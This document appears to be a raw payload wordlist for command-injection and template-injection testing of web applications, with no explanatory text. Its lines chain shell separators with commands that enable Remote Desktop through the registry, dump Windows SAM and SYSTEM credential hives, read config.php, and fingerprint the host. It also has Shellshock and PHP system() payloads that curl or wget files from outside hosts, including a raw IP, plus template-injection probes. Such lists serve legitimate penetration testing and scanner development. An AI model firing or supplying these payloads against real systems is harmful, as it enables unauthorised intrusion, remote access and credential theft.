| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10 
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15 
&& sleep 15
 {${sleep(20)}}
{${sleep(20)}}
 {${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
 {${sleep(hexdec(dechex(20)))}} 
{${sleep(hexdec(dechex(20)))}} 
sysinfo
| sysinfo
; sysinfo
& sysinfo
&& sysinfo
system('cat C:\boot.ini');
system('cat config.php');
|| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
; system('curl https://crowdshield.com/.testing/rce_vuln.txt');
& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
&& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
system('curl https://crowdshield.com/.testing/rce_vuln.txt')
system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')
system('curl https://xerosecurity.com/.testing/rce_vuln.txt');
system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
system('ls')
system('pwd')
system('pwd');
|| system('sleep 5');
| system('sleep 5');
; system('sleep 5');
& system('sleep 5');
&& system('sleep 5');
system('sleep 5')
system('sleep 5');
system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')
system('wget https://xerosecurity.com/.testing/rce_vuln.txt');
system('whoami')
system('whoami');
test*; ls -lhtR /var/www/
test* || perl -e 'print "X"x16096'
test* | perl -e 'print "X"x16096'
test* & perl -e 'print "X"x16096'
test* && perl -e 'print "X"x16096'
test*; perl -e 'print "X"x16096'
$(`type C:\boot.ini`)
&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
uname
;uname;
| uname -a
; uname -a
& uname -a
&& uname -a
uname -a
|/usr/bin/id
;|/usr/bin/id|
;/usr/bin/id|
$;/usr/bin/id
() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\");'
() { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11
| wget http://crowdshield.com/.testing/rce.txt
& wget http://crowdshield.com/.testing/rce.txt
; wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget https://crowdshield.com/.testing/rce_vuln.txt`)
&& wget https://crowdshield.com/.testing/rce_vuln.txt
wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
which curl
which gcc
which nc
which netcat
which perl
which python
which wget
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
{{ get_user_file("C:\boot.ini") }}
{{ get_user_file("/etc/hosts") }}
{{4+4}}
{{4+8}}
{{person.secret}}
{{person.name}}
{1} + {1}
{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
{{[] .__ Class __.__ base __.__ subclasses __ ()}}